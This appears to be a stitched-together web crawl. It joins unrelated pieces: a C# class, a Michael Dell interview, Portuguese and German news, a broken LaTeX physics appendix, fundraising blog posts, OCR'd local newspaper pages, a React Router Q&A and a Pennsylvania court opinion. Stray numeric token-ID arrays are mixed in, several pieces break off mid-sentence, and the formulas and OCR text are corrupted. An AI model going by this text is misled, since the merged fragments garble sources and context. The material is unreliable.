Artemis.UI.PropertyInput { public class SKColorPropertyInputViewModel : PropertyInputViewModel<SKColor> { private readonly DataBindingRegistration<SKColor, SKColor> _registration; public SKColorPropertyInputViewModel(LayerProperty<SKColor> layerProperty, IProfileEditorService profileEditorService) : base(layerProperty, profileEditorService) { _registration = layerProperty.GetDataBindingRegistration(value => value); } public bool IsEnabled => _registration.DataBinding == null; protected override void OnDataBindingsChanged() { NotifyOfPropertyChange(nameof(IsEnabled)); } } }Join Danielle O'Neill on a tour of the Northwest Territories Legislative Assembly in Yellowknife. Explore t... Join Danielle O'Neill on a tour of the Northwest Territories Legislative Assembly in Yellowknife. Explore the rich history and tradition behind this body of government -- and learn about its role in Canada today. Want to plan your trip to Canada? Visit http://www.canada.travelCEO Michael Dell: Being a Private Company 'Just Delightful' Two months after closing the $25 billion deal to take his company private, Michael Dell talks about the cloud, PCs and being free of Wall Street. AUSTIN, Texas—It was a confident, upbeat and energized Michael Dell moving about the Dell World 2013 show here this week. Addressing the thousands of customers, partners, analysts and journalists as the chairman and CEO of his newly private company, Michael Dell sounded like a man relieved to be rid of the pressures of Wall Street and shareholder scrutiny and eager to get going on building a Dell that will be a competitive enterprise IT solutions and services provider. Throughout the day Dec. 12, he spoke often about being able to "accelerate our strategy," "make bold moves" and "focus 100 percent on the customer." It wasn't easy getting to this point. Michael Dell announced in February that he and financial backer Silver Lake Partners wanted to take the almost $60 billion company private, but it took seven months of battling investors led by Carl Icahn for control of Dell—as well as bumping the price up to about $25 billion—before shareholders finally voted in favor of the deal. Now Michael Dell owns about three quarters of Dell, with Silver Lake owning the rest. With the sale behind them, the CEO and other company executives continue to transform Dell from a PC maker to an IT solutions provider. At the show, the vendor started to clarify its cloud strategy; unveiled new storage, networking and software offerings; and put more money toward investing in both in-house development and up-and-coming technology companies. During the show, Michael Dell sat down with eWEEK to talk about what going private will mean to his company and its customers, how he views Dell's role in the competitive cloud market and why PCs will remain an important part of the vendor's strategy. You've talked a lot about what going private will mean for your company. What can corporate customers and service providers expect to see? How will it benefit them? We can focus 100 percent on our customers so we don't have to focus on other things, shareholders, and that allows us to make bold decisions, invest for the long term. I think Dell World is a pretty good demonstration of the start to that in terms of the kind of things that we're doing. We innovate across a lot of spaces on behalf of our customers, and having the freedom to do that without this 89-day planning cycle is just delightful with a business with the scale of ours. Customer reaction has been very positive, business has been up double digits since we went private, so customers are throwing orders our way at a rapid rate. We're really thrilled with the results. When you talk about an end-to-end solutions strategy, that puts you in greater competition with HP, IBM, Oracle and Cisco. Some analysts have said these companies have a broader offering. Why should people choose Dell over any of those vendors? What is it that you can offer that these companies can't? If you look at the last 30 years, we've been able to grow against those competitors because we've offered differentiated value and solutions that really matter, and we haven't had a legacy of things to protect. You think about the infrastructure space, where we're innovating in the data center and now we're extending that into software and services, we don't have mainframes or mini-computers to protect.O senador licenciado Fernando Collor de Mello (Pros-AL) admitiu ao Supremo Tribunal Federal ( STF ) que pode ter cometido o "pecado" de não ter declarado obras de arte no Imposto de Renda (IR), mas rebateu as acusações de corrupção passiva e lavagem de dinheiro atribuídas a ele pela Procuradoria-Geral da República ( PGR ). A defesa pede que ele seja absolvido. As afirmações estão nas alegações finais apresentadas por Collor dentro da ação penal na qual ele é réu e que trata de desvios na BR Distribuidora, subsidiária da Petrobras na venda de combustíveis. O caso agora vai ser concluído pelo relator, Luiz Edson Fachin, e liberado para a revisão do ministro Celso de Mello. Depois disso, a Segunda Turma
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Robbie said he was leaving and Jason said he was going with him – to South Africa. It looked like the only loser would be Holly… Then they all started getting into cars and you just knew that trouble was right around the corner. Holly has a few drinks. Jason phones and tells her to get to the airport for Robbie. With Cleo’s encouragement, Holly jumps in a car with her and races to the airport. They get there in one piece, too. But the journey home is an accident waiting to happen – and it comes in a devastating crash… Holly drinks, then she drives, then she crashes and is faced with the horror she’s caused--- title: Supplementary material --- Gaussian Variational Approximation {#GaussVar} ================================== We derive in this appendix the stationarity conditions for the KL divergence that define the Gaussian Variational Approximation (GVA), leading in particular to - in the main text. We denote $\bm{y}=(\bm{x},-\ii\bm{\hat{x}})$ in such a way that the joint “distribution” of $\bm{x}$ and $\hat{\bm{x}}$ can be written $$P(\bm{y})=\frac{e^{\mathcal{H}(\bm{y})}}{Z}P_0(\bm{x}(0))$$ with $P_0(\bm{x}(0))$ being the unknown initial probability distribution. We then proceed with the variational approximation by assuming that the approximating distribution is Gaussian $$P(\bm{y})=\frac{e^{\mathcal{H}(\bm{y})}}{Z}P_0(\bm{x}(0))\approx \mathcal{N}(\bm{y}\| \bm{\mu}_{\rm gen}, \bm{C}_{\rm gen})=Q(\bm{y})$$ The Gaussian $\mathcal{N}(\bm{y}\| \bm{\mu}_{\rm gen}, \bm{C}_{\rm gen})$ is completely determined by two sets of parameters, the vector of mean values $\bm{\mu}_{\rm gen}=\langle \bm{y} \rangle_Q$ and the covariance matrix $\bm{C}_{\rm gen}=\langle \bm{y} \bm{y}^{T}\rangle_Q - \bm{\mu}_{\rm gen} \bm{\mu}_{\rm gen}^T$. We define the Kullback-Leibler (KL) Divergence [@kullback] between $Q$ and $P$ $$\label{eq:KL} \begin{split} \text{KL}(Q\|\|P)&=\int D\bm{y}\, Q(\bm{y})\ln {\frac{Q(\bm{y})}{P(\bm{y})}} =\\ &=\left\langle -\frac{1}{2}(\bm{y}-\bm{\mu}_{\rm gen})^{T}\bm{C}_{\rm gen}^{-1}(\bm{y}-\bm{\mu}_{\rm gen}) -\frac{1}{2}\ln{(2\pi)^d \det(\bm{C}_{\rm gen})} + \mathcal{H}(\bm{y}) + \ln{Z}-\ln{P_0(\bm{x}(0))} \right\rangle_{Q}=\\ &=-\frac{d}{2} -\frac{1}{2}\ln{\big[(2\pi)^d \det(\bm{C}_{\rm gen})\big]} + \ln{Z}-\big\langle \mathcal{H}(\bm{y})+\ln{P_0(\bm{x}(0))} \big\rangle_{Q} \end{split}$$ where $d$ is the dimension of the vectors involved, i.e. $d=N(2 T/\Delta+1)$ and $\Delta$ is the elementary time step. With real measures, $\text{KL}(Q\|\|P)\geq0$ with equality if and only if $P(\bm{y})\equiv Q(\bm{y})$, so it can be seen as a measure of the dissimilarity (a “distance”) of the distributions $Q(\bm{y})$ and $P(\bm{y})$. This leads one to choose the variational parameters by minimizing the KL divergence, or more generally in the case of complex measures to make it stationary \[variational\] $$\begin{aligned} \frac{\partial \text{KL}}{\partial{\bm{\mu}_{\rm gen}}}=&0\label{firstvar} \\ \frac{\partial \text{KL}}{\partial{\bm{C}}_{\rm gen}}=&0\label{secondvar} \end{aligned}$$ Given the KL expression (\[eq:KL\]), the set of equations for the components of $\bm{\mu}_{\rm gen}$ reduces to $$\nabla_{\bm{\mu}_{\rm gen}} \left(\big\langle \mathcal{H}(\bm{y})+\ln{P_0(\bm{x}(0))} \big\rangle_{Q}\right)=0$$ while the equation for the inverse correlation matrix is $$\label{eq:correlvar} \frac{1}{2}\nabla_{\bm{C}_{\rm gen}}\ln{(\det\bm{C}_{\rm gen}})+\nabla_{\bm{C}_{\rm gen}}\left\langle \mathcal{H}(\bm{y}) \right\rangle_{Q}+\nabla_{\bm{C}_{\rm gen}}\left\langle \ln{P_0(\bm{x}(0))} \right\rangle_{Q}=0$$ For the first term in (\[eq:correlvar\]), one can exploit the properties $$\nabla_{\bm{C}_{\rm gen}}\ln{(\det\bm{C}_{\rm gen}})=\nabla_{\bm{C}_{\rm gen}}\operatorname{Tr}(\ln{\bm{C}_{\rm gen}})$$ $$\frac{\partial\operatorname{Tr}(\ln{\bm{C}_{\rm gen}})}{\partial (\bm{C}_{\rm gen})_{ijtt'}} = (\bm{C}_{\rm gen}^{-1})_{jit't}$$ and the following identities (see [@opper] for a proof) \[identity\] $$\begin{aligned} \nabla_{\bm{\mu}_{\rm gen}} \left\langle \mathcal{H}(\bm{y}) \right\rangle_{Q}=& \left\langle \nabla_{\bm{y}}\mathcal{H}(\bm{y})\right\rangle_{Q}\label{firstid}\\ \nabla_{\bm{C}_{\rm gen}} \left\langle \mathcal{H}(\bm{y}) \right\rangle_{Q}=&\frac{1}{2}\left\langle \nabla_{\bm{y}}\nabla_{\bm{y}}\mathcal{H}(\bm{y})\right\rangle_{Q}\label{secondid}\end{aligned}$$ To apply these, one has to calculate the derivatives of $\mathcal{H}(\bm{x},\bm{\hat{x}})$ with respect to the variables $\bm{x}$ and $-\ii\bm{\hat{x}}$ $$\label{eq:deriv1} \frac{\partial \mathcal{H}(\bm{x},\bm{\hat{x}})}{\partial (\text{i}\hat{x}_i(t))}= x_i(t+\Delta)-x_i(t)- \Delta\Phi_i(\bm{x}(t)) +\Delta\sum_{j} \text{i}\hat{x}_j(t)\Sigma_{ji}(\bm{x}(t))$$ $$\label{eq:deriv2} \begin{split} \frac{\partial \mathcal{H}(\bm{x},\bm{\hat{x}})}{\partial x_i(t)}&=\text{i}\hat{x}_i(t-\Delta)-\text{i}\hat{x}_i(t) -\Delta\text{i}\hat{x}_i(t)\frac{\partial \Phi_i(\bm{x}(t))}{\partial x_i(t)}+ \frac{\Delta}{2}\sum_{jk}\text{i}\hat{x}_j(t)\frac{\partial\Sigma_{jk}(\bm{x}(t))}{\partial x_i(t)}\text{i}\hat{x}_k(t) \end{split}$$ with = \_[j,l,j l]{}k\^[+]{}\_[ij,l]{}x\_j(t) + \_[j,l,jl]{}k\^[-]{}\_[i,jl]{}+\_[j]{}\_[ij]{}+\_[l]{}2k\^[+]{}\_[ii,l]{}x\_i(t)+\_[j]{}k\^[-]{}\_[i,jj]{} For the second derivatives we need a number of different combinations \[secondder\] $$\begin{aligned} \frac{\partial}{\partial x_j(t)}\frac{\partial \mathcal{H}(\bm{x},\bm{\hat{x}})}{\partial x_i(t)} &= -\Delta\text{i}\hat{x}_i(t)\frac{\partial}{\partial x_j(t)}\frac{\partial \Phi_i(\bm{x}(t))}{\partial x_i(t)}+ \frac{\Delta}{2}\sum_{lk}\text{i}\hat{x}_l(t)\frac{\partial}{\partial x_j(t)}\frac{\partial\Sigma_{lk}(\bm{x}(t))} {\partial x_i(t)}\text{i}\hat{x}_k(t)\\ \begin{split} \frac{\partial}{\partial (\text{i}\hat{x
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432, 2509, 4588, 35958, 984, 13, 973, 13, 368, 871, 13, 368 ]	they do. Good planning starts with an understanding of where you are. How are you fundraising or marketing? Who are you reaching out to? And what are the results? I think it is also helpful to consider what you are leaving on the table because of what you are not doing. Then think about where you want or need to be. Often my clients become clients because they have been deficit fundraising for a long time. Instead of planning for where they want to be, they scramble about trying to fill a hole—ignoring the fact that what immediately surrounds that hole probably isn’t enough to fill it. Now that you know where you are and where you want to go, our job is to create that roadmap that will get you there in the most effective and efficient way. Good road trips first consider the entire map: from point A to point Z, there are many paths. Which ones are we going to use? How can one stop serve more than one purpose? And, as we travel from spot to spot, how can we preserve memories? Preserving memories is to travel what stewardship is to fundraising—a way to prolong the pleasure, and keep the connection strong. Planning your fundraising means planning it all—from identifying and qualifying your donors, to keeping them close and wanting to be re-identified for that next gift. Walk carefully through every step and always be looking both backward and forward. In this way, you will create a world of support for the important work you do. Janet Levine helps nonprofits move from mired to inspired. Learn how at www.janetlevineconsulting.com. While there, sign up for the newsletter and do connect with Janet to get a free 30-minute consultation. In the documentary series, Soundbreaking (now available on Acorn), one of the producers talks about the fact that there are just so many notes and so many beats in the world of music. Repetition and sometimes things that may sound like plagiarism abounds. Or, as Picasso is widely attributed as saying “good artists borrow, great artists steal.” I’m not advocating plagiarism, but I do know that there is just so much that is truly new in the world and much that is merely retreads. Retreads, of course, aren’t always bad or boring or something to be avoided at all costs. Sometimes they are the only, the best, the most effective thing you can do. This is particularly true in fundraising. There are many people who think that following the newest, shiniest idea is what you need to do. However, often, the tried, the true, create a better path. Doing something once doesn’t always make it; doing something because no one else is doing it may simply prove to you why no one else is doing it. In fundraising what really works is building relationships between the donor and the organization. That means more personally than social media, closer than direct mail, more intimately than a large special event. While all the transactional ways of fundraising can help to garner new donors and keep lower-end gifts coming in, they are truly awful in retaining donors (just look at our dismal donor retention rates) or moving donors up the giving pyramid. Both those things—which if successful would increase your fundraising results by a great deal—are best done face to face. And yes, I know—you don’t have the time and even if you did, donors don’t respond to requests for meetings. But of course you do and they will, it just takes planning. Plan to do your major donor strategizing at least 4 hours a week. That’s arguably more important than the 4 hours you are currently spending on the gala committee meeting or rewriting the renewal grant (which, as a renewal, shouldn’t take much time at all). Learn all you can about these prospects, including what they care about and who they connect to. And then utilize those connections and that caring as you plan how to get in front of that prospect. In my fundraising days, rarely did the natural partner—the person who could best open the door to a prospect—actually call for the appointment. That, we both (eventually) agreed, was my job. But I did use their connection to help get that meeting. First I would ask them to send a note (or in later years, send an email) saying how they had asked Janet Levine to set up a meeting for the three (or four, if a spouse or partner was to be included) of us and that it was hoped that my call would be taken. It almost always was. When I called, I didn’t say that so and so suggested I call. Rather, I would say that so and so asked me to set up a meeting for the three of us. Most of the time, the only hitch was finding a time when the 3 of us could actually be in the same place at the same time. Following the “old” ways, using the structures those way before we developed, has helped me to raise and to help my clients to raise a whole heck of a lot of money. Doing what works, standing on the shoulders of the best, will help you to do the same. “We decided to do a gala this year,” my former client was telling me. “And our net profits are 10 times what our goal was.” That sounds fantastic, until I asked a few pertinent questions, starting with, “Is this new money? Or are you simply moving money from the annual fund, where the donor typically gives to the gala?” If Joe typically gives you $2,500 a year for your end of the year appeal, but this year tells you to put that amount toward the gala instead, you actually have lost money. Costs to produce a gala are way higher than the cost of an appeal (or a phone call or coffee meeting with a loyal annual donor), and those costs eat into your net profits. Moving money from one pot to another may make that second pot look good, but it really doesn’t do anything for your bottom line. The next question will take at least another year to quantify, but it is an important measure: How much of the money that came in from new donors for the gala translates into ongoing support from that donor? If Joan bought a ticket, a table, or even a sponsorship this year because a friend asked her to, or that friend was an honoree, was the purchase solely because of the friend or does Joan have any interest at all in what your organization does? If the former, odds are, you will get that one-time gift and then never see hide nor hair of Joan again. Finally, while there are reasons to have large special events, the fact remains that they cost a lot to produce, not just in the direct costs but in the very high indirect costs. The time your development staff and your ED spends on the gala means that much LESS time to be spent on other kinds of fundraising and outreach. The opportunity costs can be huge. Of course, a big event offers much in the way of possibilities—if you work those. I’m always surprised when fundraisers tell me how they can’t wait until the week after their special event because they will be on vacation for the following two weeks. That’s crazy. While you may have worked hard during the two or three months prior to the event, the real work—the profitable work—actually starts the day after the event. Just a few things can make a huge difference: A personal thank you note from the gala chair or the CEO to first time attendees, thanking them for being there. And then, in a few weeks, a personal invitation from the letter writer to take a tour, come for coffee, have a meeting to share the results of the gala and what it will mean to the organization. Another personal note to loyal donor, telling them how their support over the years has meant. This is also a good time to remind them that as important as their support for the gala was, their general support is equally (if not more so) critical for the work that the organization does. This is also a time to run some lists and figure out strategies for bringing these event attendees closer: Who, of your gala attendees, is also a current donor? A former/lapsed donor (haven’t made a gift for at least a year before this gala) For these cohorts, drill down further and look at the date of the last gift, the amount, the purpose of that gift and the total number of years as a donor. From this information, you can create both group and—where appropriate—specific stewardship steps that are geared to move non-donors to becoming donors; low end donors to become mid-level donors and mid-level to either increase their gifts and/or become major gift prospects. No matter how successful you think your event has been, you can make it even more successful by considering it a move in donor journey rather than simply a stop along the way. Janet Levine moves nonprofits from mired to inspired by helping them to increase their fundraising results and empower, engage and energize their boards. Learn more at http://janetlevineconsulting.com. While there, sign up for the newsletter and for a free 30-minute consultation. Still waiting for that magic bullet? That one thing that you’ll do that will bring in all the money? That special thing that is keeping you from doing actual fundraising because, well, you know, you
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5552, 7271, 607, 6589, 4827, 52, 308, 309, 1843, 608, 6, 20884, 15292, 702, 10360, 1025, 25412, 254, 9170, 532, 321, 3014, 432, 3239, 337, 1542, 253, 2852, 285, 281, 2098, 323, 12907, 866, 266, 256, 279, 13, 33007, 15766, 753, 15, 754, 5125, 253, 4450, 1007, 387, 690, 273, 253, 11393, 3672, 273, 253, 9635, 13, 946, 1037, 2233, 20046, 275, 253, 11053, 629, 273, 253, 2258 ]	arrested in the drug operation that involved four homes. Clay County Animal Care and Control responded to the scene on June 12 and then hauled the animals back to their facility at 3984 State Rd. 16 West. The horse is considered abandoned, Dempsey said. Whoever lived there had basically given up the animals. Dempsey a self-described animal lover said whoever buys the horse and goats at auction will have to name them. She said if it were up to her, she would have given them names already. It is her hope that all of the animals nd homes where they will be cared for and loved. Weve had some horses in the past go for as little as one dollar and others we had to send off to rescue [organizations] because no one bid on them, she said with a sad lilt to her voice. The auction will be held at the Animal Control center in the Penney Farms area and will be coordinated by CCSO of cials. Any funds collected from the auction will go back to the Animal Control center to pay for the care and feeding the animals have been receiving the past month, Dempsey said. CCSO investigators arrested Raluxi Raul Erbiti, 37, Yandriel Urbay Gonzalez, 23, Jonny Valdespino Gordillo, 32, Jaime Mora, 39, on June 12 and Antonio Santos, 26, on June 13 as part of the bunker pot operation.Animals left at pot grow house to be auctioned off OPINION July 18, 2013 CLAYTODAYONLINE.COM of the weekQuestion What would you like to see the Clay County Government spend more money on?More money needs to be spent on schools and nances for teacher resources. We really need better teachers. Brian Nonato Middleburg Compiled and photographed by Sarah Wakeeld Rosser and Tatila BrockI came from France where I lived for 15 years and I waited 11 years to get my green card, and its perfect. I wouldnt change anything about the county. Said Aitlhou Fleming Island I would say teachers because Ive heard a lot of them are leaving to go to other counties like Duval and Putnam because they arent getting paid enough. I would also like to see the libraries open on weekends for people who work during the week. Robert Woods Orange Park Library and schools. I think kids need more attention and those are two things the county is lacking in. Mary McLean Fleming Island Teachers because thats the way the younger generation will become better educated and be more independent when they enter the real world. If we have good teachers teaching our students, well have better outcomes. Perna Jones Middleburg Guest Column to the Editor in historyLetters This week By Sarah Wakeeld RosserDevelopment Authority member says If you build it, they will comeAs a board member of the Clay County Development Authority, I have been in volved in bringing the Big League Dreams organization to our area. I served as chair of the board when the licensing agreement was signed in 2011. As we move forward, I am compelled to make sure the citizens of Clay County are aware of why I believe in and support this project. I was admittedly skeptical when initially approached about Big League Dreams, but agreed to do some research and even tually decided to visit an existing facility. I made the trip to Manseld, Texas, just out side of Dallas, in the fall of 2011. There I was greeted by dozens of workers who took pride in showing off their place of employ ment at the meticulously maintained BLD complex. I then walked by Wrigley eld, where young athletes from Kansas were squaring off against a team from Iowa in front of a full house of fans sitting in stadium-style seats. I was told that these were two of dozens of teams from outside of the Dal las area who would be making Manseld their temporary home for the weekend. I approached a parent of one of the players to ask her opinion of the facility. She explained that it wasnt her rst trip to Manseld and that she looked for ward to this trip every year. She went on to add that her sons team had a block of 20 hotel rooms for three nights that week end. She told of how her family enjoyed the nearby water park on her previous trip and discussed her plans for the rest of the weekend, which included dinner and a movie that night. I soon realized that this parents sto ry could have just as easily been told by countless others that weekend one of the 50 weekends that year that BLD Manseld hosted tournament play. I knew at that point that what I was witnessing needed to happen in my home county. I saw rsthand that if you build it, they will come. Ive heard from some in our community 2003, 10 Years Ago Orange Park head football coach, Roan McCrone, resigned to take an assistant coaching position with Southwest Missouri State University. The mystery surrounding the shooting death of 18-year-old Keith Kyle Lavinder was put to rest when his close friend, Bri an Curtis Avery, was arrested and charged with second degree murder. The Department of Health issued up dates on the monitoring of the West Nile Virus, a mosquito-borne disease. Pete Bethel, long time owner of Petes Hamburger Restaurant, said so long to his Green Cove Springs landmark as it switched ownership for the rst time in more than 30 years and was bought by Mike Meehan. After 37 years, Clay High School coach William Ronald Riddle decided to retire. 1993, 20 Years Ago The Hospital Corporation of America toured Clay Memorial Hospital in Green Cove Springs and talked about the possibility of reopening and running the closed hospital. SEE LETTER, 5 SEE HISTORY, 5 ClaricationIn a June 20 police brief headlined Orange Park man faces three counts of lewd and lascivious battery, it was stated that Christopher David Sumpter, 20, had committed the alleged acts while at a LAN center at 920 Blanding Blvd. However, the owner of the LAN center, on May 4 prior to Sumpters June 12 arrest led trespassing charges against Sumpter, and banned him from the LAN center. The Lan center owner said she told the Clay County Sheriffs Ofce that the incidents for which Sumpter is charged, took place at each vic tims home and not the LAN center. As the daughter of two avid readers, my earliest memories are of the childrens book section in the Green Cove Springs Li brary. My mother would approach the return desk with an armful of books and that was my cue to make a beeline for the sec tion lled with age appropriate books. I would devour books while sitting on the oor in the middle of the rows in lieu of the tables or reading mats. Before making a check-out stack, I had to read the rst few pages to make sure it was worthy of the trip home. My mother worked for the library sys tem when my brother and I were very young and she would wave to old friends upon arrival. During the summer months, we had a routine in Green Cove Springs: wed hit the library rst, then the play ground or the chilly spring-fed pool. Wed look for crawdads in the creek before hopping in the car, dead tired, where our books were waiting to be thumbed through. We visited the different library branch es and their books, never growing tired of the endless supply. If a book was placed in front of me, I was going to read it, especially if it was about the Boxcar Children, wild rumpuses, Nancy Drews shenanigans with those Hardy brothers or the Baby Sit ters Club.en My parents love of the library was passed on to me as well as a respect for education. The library was not just a delicious house of books, it was a place where I could learn about new ideas, how to make friendship bracelets, nd bugs or creatures of the deep. All those summer days spent lying on the cool oor of the library were noth ing like they are today. Although I found it incredibly entertaining, the library has evolved to reach out to children who may need a little coaxing to enter a library. Ive been visiting the different library branches for their summer program Dig Into Reading. Kids are creating top hats out of papier mch, dressing up as zombies, and learning about the steampunk subculture and they are doing these things all Summer leads to reading Sarah Wakeeld RosserSEE GUEST, 5 PAGE 5 COMMUNITY JULY 18 2013 CLAY TODAY 5 CLAYTODAYONLINE.COM Call Bonni Wilford to start SAVING Today! WILFORD PROPANE GAS WPG904-891-9689 706 Kingsley Ave. Orange Park \| Bonni@wilfordpropane.netPay Only Family-Owned Celebrating over 60 years! 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187, 88, 35083, 1417, 3186, 369, 25365, 4457, 247, 5272, 5545, 15, 1198, 253, 4606, 326, 187, 187, 25739, 13, 359, 2186, 326, 24497, 667, 1491, 432, 247, 894, 4481, 1293, 247, 7501, 187, 187, 1987, 376, 1261, 265, 253, 1986, 2077, 6413, 2111, 457, 84, 3061, 275, 32920, 362, 15, 5002, 285, 187, 187, 11586, 2077, 362, 15, 411, 321, 466, 13, 13900, 322, 15, 16316, 15, 2164, 3655, 313, 6759, 10, 313, 30350 ]	Football League officials Category:People from Greater Los Angeles Category:California State University, Fullerton alumni Category:Azusa Pacific University alumni Category:People from La Mirada, CaliforniaORANGE HILL, Jamaica — It's hard to believe lighting up a joint was illegal in Jamaica until about four years ago. But since a 2015 law change, individuals can have a small amount of ganja for personal use, medical sales are allowed, and ganja tourism is on the rise. Which all means permits are being issued for growers and other ganja-related businesses. The question that worries locals is: Who's going to profit from this? Jamaicans, or somebody else? The ganja gold rush has attracted foreign investors pumping in money and setting up shop on the island. Smaller local farmers, many of whom had been harassed and punished for growing in the past, simply can’t compete. It now costs $2,000 for a growing license and $10,000 for a distributor's license, and the application process can be difficult. “I'm not saying all of these investors coming in are evil,” says Ras Iyah V, an activist who's been fighting for ganja legalization for years. “I'm just saying most of these coming in are concerned with money. About making money out of an industry that our people have suffered for.” VICE News visited Jamaica to find out what the future of ganja is on the island.One actor accidentally shot another actor and a bystander Sunday afternoon during a Wild West re-enactment in Arizona. Tom Carter, a member of the Tombstone Vigilantes group, fired live rounds instead of blanks during a staged gunfight at the OK Corral and shot fellow actor Ken Curtis in the upper groin. Police discovered a woman, identified as Debbie Mitchell, was struck by shrapnel while standing in front of the Bird Cage Theater, but she refused medical treatment. ADVERTISEMENT Curtis underwent surgery at a Tucson hospital to have the bullet removed. Carter also shot two nearby businesses during the stunt performance at the historic attraction’s “Helldorado Days” weekend. Police said Carter arrived late to the event and failed to have his gun properly inspected, and investigators determined he fired five live rounds from the cylinder and had one remaining in the weapon. Officials insisted the shootings were an isolated incident and assured visitors that all safety protocols would be enforced before gunfight re-enactments on Allen Street. “Tombstone takes pride in the safety and security of its townspeople and tourists alike, and the citizens of Tombstone can be assured that stringent safety protocol will be enforced prior to allowing any further gunfight skits,” the U.S. Marshal’s Office said in a statement. ADVERTISEMENT Authorities did not indicate whether any charges would be filed in the shootings. The Tombstone Vigilantes were founded in 1946 to preserve the town’s history. The group performs staged gunfights and mock hangings of unsuspecting victims, according to the nonprofit group’s website. ADVERTISEMENT The once-bustling mining town near the U.S.-Mexico border is perhaps most famous for the 1881 “Gunfight at the O.K. Corral,” which has been depicted in numerous films, between outlaw cowboys and lawmen including Wyatt Earp and Doc Holliday. Three tourists were injured in a similar shooting in June 2011 during a staged gunfight in the Old West town of Hill City, South Dakota, and a Florida man also said he was struck by debris fired by a weapon during a previous re-enactment in 2001. ADVERTISEMENT Watch this scene depicting the gunfight from “Tombstone” posted online:Q: Unable to pass props to component through react-router I am unable to pass props using react-router. My code till now: import React from'react'; import ReactDOM from'react-dom'; import { BrowserRouter, Route, Switch } from'react-router-dom'; import 'normalize.css/normalize.css'; import './styles/styles.scss'; const EditExpensePage = props => { console.log(props); return <div>Editing the expense with id of </div>; }; const AppRouter = () => { return ( <BrowserRouter> <div> <Switch> <Route path="/edit/:id" component={EditExpensePage} /> </Switch> </div> </BrowserRouter> ); }; ReactDOM.render(<AppRouter />, document.getElementById('appDiv')); Error screenshot I am trying to access the id in console as simple as that. The error is showing only when I am trying to pass props path="/edit/:id" Source Link: https://reacttraining.com/react-router/web/api/Route/route-props A: This is the same problem as in this question. The problem is specific to the setup. As shown in error message, bundle.js is loaded from current path, /edit/bundle.js, while it should be loaded from /bundle.js. Scripts should either have absolute paths: <script type="text/javascript" src="/bundle.js"></script> Or base URL should be specified: <base href="/"> Even given the current decibel level in politics, the nasty din surrounding the customarily snore-inducing rubber-stamping of local school board budgets in New Jersey last week was something to behold. Let’s go to the videotape. There was that subtle memo from Bergen County representatives of the state teachers’ union castigating Gov. Christopher J. Christie and ending with a prayer that seemed to want him dead. “Dear Lord,” it read, noting that God had taken the author’s favorite actor, Patrick Swayze; favorite actress, Farrah Fawcett; favorite singer, Michael Jackson; and favorite salesman, Billy Mays. “I just wanted to let you know that Chris Christie is my favorite governor.” There was the governor’s tactful accusation that teachers were “using the students like drug mules” to carry information about whether their parents planned to vote — this based on what teachers said was a third-grade teacher’s civic lesson on voter participation that had nothing to do with how they would vote. And after Mr. Christie urged voters to reject budgets in districts where teachers had not agreed to a one-year wage freeze and new contributions to health benefits, voters defeated 58 percent of the 541 proposed budgets, the highest rejection rate since school boards began keeping track in 1976. [J-55-2017] IN THE SUPREME COURT OF PENNSYLVANIA EASTERN DISTRICT SAYLOR, C.J., BAER, TODD, DONOHUE, DOUGHERTY, WECHT, MUNDY, JJ. COMMONWEALTH OF PENNSYLVANIA, : No. 3 EAP 2017 : Appellee : Appeal from the Judgement of Superior : Court entered on 04/27/2016 at No. : 1729 EDA 2014 (reargument denied v. : 06/09/2016) affirming the Judgement of : Sentence entered on 01/17/2014 in the : Court of Common Pleas, Philadelphia I. DEAN FULTON, : County, Criminal Division at No. CP-51- : CR-0012441-2010 Appellant : : ARGUED: September 12, 2017 OPINION JUSTICE DONOHUE DECIDED: February 21, 2018 In this discretionary appeal, we consider the permissible scope of a warrantless search of a cell phone by police and the confines of the harmless error doctrine. Specifically, we must determine whether powering on a cell phone to gather evidence, without a warrant, violates the Fourth Amendment to the United States Constitution1 and Article I, Section 8 of the Pennsylvania Constitution,2 and, if so, whether the 1 “The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.” U.S. Const. amend. IV. 2 “The people shall be secure in their persons, houses, papers and possessions from unreasonable searches and seizures, and no warrant to search any place or to seize (continued…) decision to allow the Commonwealth to present evidence obtained as a result of the warrantless search was harmless beyond a reasonable doubt. For the reasons that follow, we hold that accessing any information from a cell phone without a warrant contravenes the United States Supreme Court’s decision in Riley v. California and United States v. Wurie, 134 S. Ct. 2473 (2014) (hereinafter
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1199, 4577, 13, 533, 309, 943, 1611, 970, 4577, 10855, 807, 3790, 15, 187, 187, 11, 27144, 281, 2557, 285, 1385, 5110, 9552, 15, 2752, 5938, 285, 309, 452, 1097, 6311, 247, 2257, 432, 2509, 436, 15, 3105, 760, 1057, 352, 1056, 323, 247, 33696, 6196, 13, 533, 368, 5321, 2583, 407, 2403, 12134, 1390, 247, 2257, 3356, 2, 187 ]	re alt geworden. Das ist zumindest die offizielle Version, als Geburtsjahre kursieren auch 1918 und 1919. Im August zeigte sich Frédéric Prinz von Anhalt sicher, dass sie ihren 100. Geburtstag noch erleben würde. Nun sei sie friedlich entschlafen, sagte der Deutsche, mit dem Gabor seit 1986 verheiratet war. "Alles war in Ordnung und plötzlich wurden ihre Hände kalt." Er habe dann einen Krankenwagen gerufen, sie sei aber nicht mehr zu retten gewesen. Über die Beerdigung habe er sich noch keine Gedanken gemacht. "Keine Ahnung. Wir hatten doch gerade den Weihnachtsbaum und das ganze Schlafzimmer dekoriert, das Feuer brannte, überall waren rote Blumen, es war eine herrliche Weihnachtsstimmung. Und sie war so happy, als sie den Weihnachtsbaum gesehen hat."Follow us! Newsletter Intelligence nuggets Disclaimer SWISS-INTELLIGENCE.INFO makes reasonable efforts to provide relevant content and reliable sources for the Swiss Intelligence Community – in English, German and French. However, we do not guarantee the accuracy or endorse the views given by any third-party content provider. This site may point to other Internet sites that may be of interest to you, however we do not not take responsibility for the content on such other sites.RELATED ITEMS These are accessible with us in various terms to meet the requirements of our domestic customers. These chemicals are pure as they are procured from pure chemical substance. These give constant, undisturbed, uniform blue flame without any deposition of soot or smoke. This is basically a fluid kind of gel that is used for various purposes. Made of durable corrosion resistant shiny finished stainless steel material Can be conveniently stored on pot rim or hung on rack Used for small condiments, or large soup pots Dishwasher safe and easy to clean Keep your drinking water with Twin Weston Station that can be used for parties and traveling. Twin Station with a beautiful design and unique it can store two kinds of drinks. Anti Spill Weston Drink Station has a lid that is designed specifically to prevent the risk of spills. Use this 6″ stainless steel tong for buffets and self-serve stations at your restaurant or catered event. This tong’s rigid grips are perfect for selecting fruit, vegetables, cheese 